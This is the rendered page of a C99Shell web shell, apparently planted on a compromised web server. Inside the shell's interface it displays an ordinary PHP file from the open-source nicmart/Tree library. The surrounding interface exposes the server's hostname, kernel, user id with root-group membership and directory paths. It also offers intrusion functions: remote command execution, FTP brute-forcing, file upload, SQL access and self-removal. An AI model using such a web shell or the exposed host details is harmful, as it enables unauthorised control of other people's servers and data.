!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/nicmart/tree/src/Builder/   drwxr-xr-x
Free 28.99 GB of 117.98 GB (24.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NodeBuilder.php (2.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Copyright (c) 2013-2020 Nicolò Martini
 *
 * For the full copyright and license information, please view
 * the LICENSE.md file that was distributed with this source code.
 *
 * @see https://github.com/nicmart/Tree
 */

namespace Tree\Builder;

use 
Tree\Node\Node;
use 
Tree\Node\NodeInterface;

/**
 * Main implementation of the NodeBuilderInterface.
 */
class NodeBuilder implements NodeBuilderInterface
{
    
/**
     * @var NodeInterface[]
     */
    
private $nodeStack = [];

    public function 
__construct(?NodeInterface $node null)
    {
        
$this->setNode($node ?: $this->nodeInstanceByValue());
    }

    public function 
setNode(NodeInterface $node)
    {
        
$this
            
->emptyStack()
            ->
pushNode($node);

        return 
$this;
    }

    public function 
getNode()
    {
        return 
$this->nodeStack[\count($this->nodeStack) - 1];
    }

    public function 
leaf($value null)
    {
        
$this->getNode()->addChild(
            
$this->nodeInstanceByValue($value)
        );

        return 
$this;
    }

    public function 
leafs($value1 /*,  $value2, ... */)
    {
        foreach (
\func_get_args() as $value) {
            
$this->leaf($value);
        }

        return 
$this;
    }

    public function 
tree($value null)
    {
        
$node $this->nodeInstanceByValue($value);
        
$this->getNode()->addChild($node);
        
$this->pushNode($node);

        return 
$this;
    }

    public function 
end()
    {
        
$this->popNode();

        return 
$this;
    }

    public function 
nodeInstanceByValue($value null)
    {
        return new 
Node($value);
    }

    public function 
value($value)
    {
        
$this->getNode()->setValue($value);

        return 
$this;
    }

    private function 
emptyStack()
    {
        
$this->nodeStack = [];

        return 
$this;
    }

    private function 
pushNode(NodeInterface $node)
    {
        
\array_push($this->nodeStack$node);

        return 
$this;
    }

    private function 
popNode()
    {
        return 
\array_pop($this->nodeStack);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--